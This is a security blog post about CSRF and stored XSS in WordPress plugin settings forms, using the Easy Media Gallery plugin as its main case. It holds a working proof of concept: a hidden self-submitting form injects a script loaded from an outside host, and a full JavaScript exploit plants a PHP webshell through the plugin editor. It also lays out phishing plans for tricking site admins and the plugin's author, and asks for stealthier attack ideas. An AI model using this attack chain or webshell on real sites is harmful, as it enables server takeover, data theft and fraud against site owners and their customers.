Exploiting wordpress plugins through admin options (No 3. — Easy Media Gallery stored XSS)

Posted on Di 17 Dezember 2013 in Php

Preface

This post is about general security weaknesses in wordpress plugins, that allow malicious attackers to gain code execution access on the web server (which is quite often the user www-data). To outline the problem shortly: Often, wordpress plugins need a administration form to handle settings and options. These options are meant to be exclusively alterable by the admin of the wordpress site. But unfortunately, lots of wordpress plugins suffer from a very dangerous combination of CSRF and stored XSS vulnerabilities, that wrapped up in a social engineering approach, may break the site.

I have done some research in the past about such attacks. You can read about a stored xss in flash album gallery plugin as well as my findings about a similar flaw in the wp members plugin.

How does the attack vector look like?

First we need to understand how administration menus are created in wordpress, because these forms are the point where data flows into a application. You can learn more about the underlying concept on wordpress codex.

But the crucial point to understand is, that they all consist of forms, independently of the fact that you can pack your options under a predefined and already existing top level menu like Tools or Settings, or that you can create your own top level menu with a call to add_menu_page().
In either way, you are going to populate your new menu with one or more forms. Wordpress tries to indicate the general direction for the best practices with the settings API. The API basically implements security checks (nonces to be specific) for the forms and avoids a lot of complex debugging of the underlying options management (no need to tinker with databases).
In particular, the security checks prevent CSRF attacks by including a nonce sent with any request. Such a form with nonces would look like the following (The example shows the beginning of the general sub-level menu form from the Settings top-level menu):

<form method="post" action="options.php">
<input type='hidden' name='option_page' value='general' />
<input type="hidden" name="action" value="update" />
<input type="hidden" id="_wpnonce" name="_wpnonce" value="aa07348d33" /><input type="hidden" name="_wp_http_referer" value="/~nikolai/wordpress_pentest/wordpress/wp-admin/options-general.php" />
<table class="form-table">
[...]
</table>

So any attacker that now tries to fool a victim into executing a specific action by submitting a form, needs to know the nonces value. But she certainly can't know this nonce, because it was created randomly while generating the form in the first place. Hence without a valid nonce, wordpress denies the processing of any action associated with the form data.

Now there wouldn't be any problem at all, if every form was protected with nonces. But wait a second. After reading yet another codex page about nonces, we can begin asking ourselves questions: Is adding nonces actually enough to secure actions?

No, of course it's not enough. You also need to verify them. It may be obvious for people who know how CSRF attacks works, but I saw quite some plugins where forms were equipped with nonce creation functions like wp_create_nonce(), wp_nonce_field() or wp_nonce_url() but the associated action just wasn't verified for validity with the corresponding functions check_admin_referer(), check_ajax_referer() or wp_verify_nonce().

Some months ago, I made a quick python script that extracts all calls to nonce creation functions and simply checks whether there is a respective call to a nonce verification function. If there's not, there might be a CSRF vulnerability.

__author__ = 'nikolai tschacher'

# Unfinished.
# Idea: Maybe use a lexer/tokenizer to process PHP function signatures. But it still remains a really tough task
# to verify if a nonce with a specific action get's verified or not. One approach is to look for the $action string.
# But we're screwed if this string is created dynamically in a expression and is not a simple string literal.

# Simple idea: Just *count* all nonce creation functions and all nonce verification functions. If there there a less
# of the latter, actions might be unverified and thus vulnerable to CSRF attacks.

import os
import argparse
import re

# stores all action strings to nonce creation function like:
# - wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' )
# - wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true )
# - wp_create_nonce( $action = -1 )
# The appropriate regex. This is quite harsh to do correctly since you essentially need to parse a PHP function call signature
# with some plain regexes...
nonces_created = []

NONCE_CREATION_FUNCTIONS = re.compile(r'''(wp_nonce_url|wp_nonce_field|wp_create_nonce)s*(s*(s*$actions*=s*)?("|')s*w*s*("|')s*)''')
COUNT_NONCE_CF = re.compile(r'')

# holds all nonce verification functions as:
# - wp_verify_nonce( $nonce, $action = -1 )
# - check_admin_referer( $action = -1, $query_arg = '_wpnonce' )
# - check_ajax_referer( $action = -1, $query_arg = false, $die = true )
nonces_verified = []

def walk_plugin_files(path, callback):
    for root, dirs, files in os.walk(path):
        for file in files:
            if file.endswith('.php'):
                callback(os.path.join(root, file))

def collect_nonces(file):
    with open(file, 'r') as fd:
        try:
            nonces_created.extend([m.group() for m in NONCE_CREATION_FUNCTIONS.finditer(fd.read())])
        except UnicodeDecodeError as err:
            pass

def verify_nonces(file):
    pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('plugin_path', help="the path to a wordpress plugin that should be checked for CSRF",
                        type=str)
    args = parser.parse_args()
    # First collect all occurrences of nonces
    walk_plugin_files(args.plugin_path, collect_nonces)
    # And then try do check whether nonces are also checked before an action
    walk_plugin_files(args.plugin_path, verify_nonces)

    print(nonces_created)

Where's the problem then?

Nowhere and everywhere ;)

Although the security architecture in the wordpress core seems to be okay (As far as I can judge it - Honestly I didn't really dig deep enough to find potential flaws), a lot of missing functionality that the slim wordpress core lacks, can be enhanced by adding plugins.
Furthermore, it's a unfortunate fact, that a lot of plugin authors tend to be unaware of the many possibilities to blunder in security critical code (Myself included - Writing about web security and programming completely flawless is not exclusive apparently).
And that is exactly the root of all evil: Although we can give security unaware programmers plenty of good concepts and tools (Like the settings API or this codex article) and they will still fail to manufacture solid and found plugin code.

Can we force plugin coders to program more securely

I think we can. For instance, we could force plugin authors to provide nonces for all forms that they create, regardless of the nature of the action itself (I mean, are there cases where nonces would be counterproductive or even annoying?). Additionally, we need to enforce that for every nonce created, there must be a function such as

  • wp_verify_nonce( $nonce, $action = -1 )
  • check_admin_referer( $action = -1, $query_arg = '_wpnonce' )
  • check_ajax_referer( $action = -1, $query_arg = false, $die = true )

that verfies that the action stemmed from the intended origin.

I can already hear people cry that there is no way to force people to write secure programs. But in my oppinion, there are general guidelines that at least prevent some common security problems. And hell: Wordpress plugins really suffer from the combined threat of XSS and CSRF!

A concrete example — Stored XSS in Easy Media Gallery

Right at the start some information about the plugin:

I didn't need to dig deep to find a very critical security vulnerability in the Easy Media Gallery plugin. In the file wp-content/plugins/easy-media-gallery/includes/settings.php on line 14, the following function (reformatted, because the original source code is a pain to read) causes a lot of inconvenience:

function spg_add_admin() {
    global $emgplugname, $theshort, $theopt;
    if (is_admin() && ( isset($_GET['page']) == 'emg_settings' ) && ( isset($_GET['post_type']) == 'easymediagallery' )) {

        if (isset($_REQUEST['action']) && 'save' == $_REQUEST['action']) {
            $curtosv = get_option('easy_media_opt');
            foreach ($theopt as $theval) {
                $curtosv[$theval['id']] = $_REQUEST[$theval['id']];
                update_option('easy_media_opt', $curtosv);
            }
            header("Location: edit.php?post_type=easymediagallery&page=emg_settings&saved=true");
            die;
        } else if (isset($_REQUEST['action']) && 'reset' == $_REQUEST['action']) {

            // RESTORE DEFAULT SETTINGS
            easymedia_restore_to_default($_REQUEST['action']);
// END

            header("Location: edit.php?post_type=easymediagallery&page=emg_settings&reset=true");
            die;
        }
    }

    add_submenu_page(
            'edit.php?post_type=easymediagallery', __('Easy Media Gallery Settings', 'easmedia'), __('Settings', 'easmedia'), 'manage_options', 'emg_settings', 'spg_admin'
    );
}

// Lots of other code
// .
// .
// .
add_action('admin_menu', 'spg_add_admin');

So what does the above code do (wrong)?

Well first of all, it's a callback function that get's triggered upon visiting the admin menu, because the hook 'admin_menu' happens to fire there. So this function is executed whenever a admin user visits the administration panel. Inside the function, there are checks whether the user is the admin (with is_admin()) and whether some query parameters are set to predefined values. Then one layer further into the if statements, the code verifies whether the parameter 'action' is set to 'save'. If so, the function continues to update the database with user-supplied options for the plugin in a foreach loop. The other if-branch is of no further interest here (although it can also considered to be a CRSF), because it only allows attackers to reset options.

So which options can we update? And why is it dangerous that we may trick a admin user into updating the options with values set to our liking?

To answer the first question, these are the keys to the plugin options that we can update:

easymedia_columns
easymedia_alignstyle
easymedia_img_size_limit
easymedia_vid_size
easymedia_disen_autoplv
easymedia_disen_autopl
easymedia_disen_audio_loop
easymedia_audio_vol

easymedia_box_style
easymedia_cur_style
easymedia_mag_icon
easymedia_frm_size
easymedia_frm_col
easymedia_ttl_col
easymedia_brdr_rds
easymedia_thumb_col
easymedia_hover_opcty
easymedia_style_pattern <-- This looks like a good injection point --|
easymedia_disen_bor
easymedia_disen_hovstyle

easymedia_disen_plug
easymedia_disen_rclick
easymedia_disen_databk
easymedia_disen_admnotify
easymedia_disen_dasnews
easymedia_disen_ajax
easymedia_ajax_con_id
easymedia_plugin_core

And now let's discuss the second question: It is common for developers to output data originating from the database without sanitizing it. The belief is probably something like Why should I consider the data in my own database to be dangerous?. Because you have to decide at least at some point when you sanitize your data. The best way to do so is just before the critical action happens. Escape html attributes before you print data to the screen. Prevent SQL injections right before crafting the query. This strategy is called outbound input handling. You can read more about it on excess-xss.com.

But the authors of ghozy lab didn't apply neither inbound nor outbound input handling which lead to potentially malicious code in the database that is eventually printed to the administration screen by causing a stored XSS (The output and admin menu generation code is also in wp-content/plugins/easy-media-gallery/includes/emg-settings.php between line 275 and 520.

Again in short and for conclusion: Because there is no way to guarantee that the action originated from a intentional form submittal by the administrator (Because there are no security checks with anti Cross-Site-Request-Forgery barriers such as check_admin_referer() or check_ajax_referer()), any attacker can set up a page that incorporates the following form hidden into the site. Note that the form submits itself in a stealth way, such that a visitor isnt' able to observer anything suspicious.

<!DOCTYPE html>

<html>
    <head>
        <title>XSS POC</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width">
    </head>
    <body>
        <div style="display:none;">
            <iframe id="xss-test-iframe" name="xss-test-iframe"></iframe>

            <form id="xss-test" action="http://localhost/~nikolai/wordpress_pentest/wordpress/wp-admin/index.php?page=settings&post_type=easymediagallery" method="POST">
                <input type="hidden" name="action" value="save" />
                <input type="hidden" name="easymedia_style_pattern" value='pattern-01.png" name="easymedia_style_pattern" id="easymedia_style_pattern" /><script src=http://somehackedserver.com/plugin-loader.js>//Nothin here</script>' />
            </form>

            <script type="text/javascript">
                document.getElementById('xss-test').submit();
            </script>
        </div>
    </body>
</html>

Of course the appropriate values have to be set to match the victims server credentials. So if we wanted to target the plugin developer, we would just use the URL in the POST form

http://ghozylab.com/wp-admin/index.php?page=settings&post_type=easymediagallery

and we would host the javascript payload on a hacked server. But wait, the above POC has the payload

pattern-01.png" name="easymedia_style_pattern" id="easymedia_style_pattern" /><script src=http://somehackedserver.com/plugin-loader.js>//Nothin here</script>

Now that we can execute arbitrary javascript code in the context of the admin, what can we possibly do? Well, we can gain remote code execution. That's the worst outcome of any possible web hack attack, because it allows us to gain a foothold on the server. Possible scenarios from there: Steal the databases (money), try to gain root privileges on the server in order to completely own it. But this is usually kinda hard.

Anyways, the javascript that is loaded by the stored XSS modifies the standard plugin hello.php (hello dolly plugin, it's installed by default) and adds a PHP webshell to it.

You want to see the code how I managed to to implement it?

It's rather straightforward and there are probably more elegant ways, such as using jQuery. Keep in mind that the URL is set to my local pentest server, except ALERT_URL, this is just made up. In the real world, you'd substitute the urls to a hacked server that you own and from which you start and execute your attacks.

 /* 
 * Copyright: Nikolai Tschacher.
 * Site: incolumitas.com
 * Easy as pie.
 * What: Use this code when you found a stored XSS in a wordpress plugin to gain RCE.
 * How: A wordpress admin needs to run this code in his browser with a valid session id.
 * Idea: Mofify the flash-album-gallery plugin via wordpress admin panel.
 * 
 * Note: This is actually nothing new. It's just one of many ways to gain RCE
 *       if you have a stored XSS in a wordpress session.
 */

// Without php tags
// HTML meta chars are in character entity references format.
var EXPLOIT_CODE = "\nif (isset($_GET[&#039;cmd&#039;])&amp;&amp; !empty($_GET[&#039;cmd&#039;])){ echo &#039;<pre>&#039;;system($_GET[&#039;cmd&#039;]);echo &#039;</pre>&#039;; }";

// TARGET SETTINGS. Set stuff here.
var TARGET_WP_PATH = "http://localhost/wordpress";
var PLUGIN_EDITOR_URL = TARGET_WP_PATH + "/wp-admin/plugin-editor.php";
var PLUGIN_EDIT_URL = PLUGIN_EDITOR_URL + "?file=flash-album-gallery/flag.php";


function getXMLHttpRequestObject() {
    var ref = null;
    if (window.XMLHttpRequest) { // For recent browsers.
        ref = new XMLHttpRequest();
    } else if (window.ActiveXObject) { // Older IE 6,7,8
        ref = new ActiveXObject("MSXML2.XMLHTTP.3.0");
    }
    return ref;
}

/* Extract the nonce */
function exploit() {
    var req = null;

    req = getXMLHttpRequestObject();
    req.onreadystatechange = function() {
        if (req.readyState == 4 && req.status == 200) {
            var res = /name="_wpnonce"\svalue=\"[a-z0-9]{10}\"/.exec(req.responseText);
            if (res.length == 1) {
                nonce =  /[a-z0-9]{10}/.exec(res[0]);
            } else { // The sites not available. Maybe the plugin is not installed?!
                nonce = null;

            }
            modify_plugin(req.responseText, nonce);
        }
    }
    req.open("GET", PLUGIN_EDIT_URL, true);
    req.send();
}

/* Modify the plugin with malicous code with plugin editor */
function modify_plugin(responseText, nonce) {
    // Get the plugin code
    // On each wordpress plugin edit site, there's just one textarea tag.
    // The plugin code itself lies between the textarea tags.
    // These regexes aren't really good.
    var startIndex = responseText.match(/<textarea.*?name="newcontent".*?>/);
    var stopIndex = responseText.match(/<\/textarea>/);
    pluginCode = responseText.substring(startIndex.index+startIndex[0].length, stopIndex.index);

    // add our exploit code at the beginning of the plugin after the "// Stop direct call" comment.
    if (/((\/){2}\sStop\sdirect\scall)/.test(pluginCode)) {
        pluginCode = pluginCode.replace(/((\/){2}\sStop\sdirect\scall)/, "$1" + EXPLOIT_CODE);
    } else {
        // Let's go for the first line after the obligatory wp plugin comment and lets use the closing comment
        // characters */ as needle as a fallback.
        pluginCode = pluginCode.replace(/^(\*\/)/m, "$1" + "\n" + EXPLOIT_CODE);
    }

    // We need to consider that the plugin code in this state is making use of Character entity references
    // for all html meta characters like " ' < > & \ to avoid them of being interepreted as markup.
    // We need to replace them with their "real" characters, before we send the plugin as post data.
    pluginCode = removeCharEntityReferences(pluginCode);

    // Ready to build our POST request
    preq = getXMLHttpRequestObject();
    preq.onload = function () {
        if (preq.readyState == 4 && preq.status == 200) {
            var successPattern = /File\sedited\ssuccessfully./;
            if (successPattern.test(preq.responseText))
                alert("Done.");
                // Notify the attacker that the exploit has been spawned.
            else
                alert("Nope.");
        }
    };
    preq.open("POST", PLUGIN_EDITOR_URL, true);
    preq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    pd = {
        _wpnonce: nonce,
        _wp_http_referer: PLUGIN_EDIT_URL + "&a=te&scrollto=0",
        a: "",
        scrollto: "192",
        newcontent: encodeURIComponent(pluginCode),
        action: "update",
        file: "flash-album-gallery/flag.php",
        plugin: "flash-album-gallery/flag.php",
        submit: "Update+File"
    };
    // Build the post data.
    postdata = "";
    for (var key in pd) {
        postdata += (key + "=" + pd[key] + "&");
    }
    postdata = postdata.substr(0, postdata.length-1); // rstrip the last &
    preq.send(postdata);
}

/*
 * Removes the HTML char entity references for the HTML meta characters.
 */
function removeCharEntityReferences(data) {
    if ((typeof data) !== "string") {
        throw new TypeError("data needs to be a string");
        return null;
    }

    data = data.replace(/&quot;/g, "\"");
    data = data.replace(/&#039;/g, "'");
    data = data.replace(/&lt;/g, "<");
    data = data.replace(/&gt;/g, ">");
    data = data.replace(/&amp;/g, "&");

    return data;
}

exploit();

How dangrous is the vulnerability?

I'd say such security holes are very dangerous.

Of course you need a minimal social engineering effort in order to make the victim visit your attacking site that incorporates the auto submittable form which in turn triggers the XSS. Additionaly, you need to ensure that the victim possesses valid admin cookies of his wordpress site. But there are ways to increase the likelihood that he has a valid admin session when you attack him (Or better: When he visits the attacking site).

For example here are some ways to deliver the attack:

  • Post a comment on the target site. Then place a URL of your attacking site within the comment. The victim admin will only see the comment when he is logged in to approve or deny the publishing of your comment. Hence he must have a valid admin session. So when he clicks on the link: Boom, the server is completely fucked up!
  • Attack the author of the plugin. It is very likely that they have the most recent version (And thus the vulnerability) installed on the server. Write a email and feign a little issue with the elsewhere very cool and nice plugin. Explain that your purchased the PRO version of the plugin and that you experience issues with some functionaliy in the administration form (This forces the plugin author to falsify whether he has the same issues on his site, which tricks him into loggin in and obtaining the necessary admin cookie). Then add a detailed and plausible error explanation on your attacking site, where the trigger is hidden (See POC above). The victim visits and boom you own the server and all the financial credits of all purchases made by the customers (which are most likely on the same site as the plugin publishers). If you own the plugin authors website and you managed to exploit it in a stealthy way, you can continue spread male-ware from there.

The only drawback I currently experienced in my tests, is that the attacking form will make the victim visit his own admin menu. There is no way to load the page hidden and execute the javascript without changing the current screen of the browser to the admin form of the victim, because in most cases wordpress (or sometimes the webserver) sends automatically the header

X-Frame-Options SAMEORIGIN;

which cripples all attempts to load the dom in a hidden iframe. Thus, I cannot see a proper way to attack a victim without making him to notice that something odd is going on. The plugin author would begin to ask himself: Why the hell get I redirected to my own administration menu of my blog when I just clicked on the link given by this clueless customer that so desperately needs help with his little issue? Is there something fishy? Am I being tricked?

But usually, then it's to late and I already have shell access to the server.

So there needs to be done further research. In particular: do you have a idea to execute the attack more stealthy, such that the POST request that causes the XSS doesn't inevitably send the victim to the sink source of the tainted data?

Please send me a comment if you have a idea!

Cheers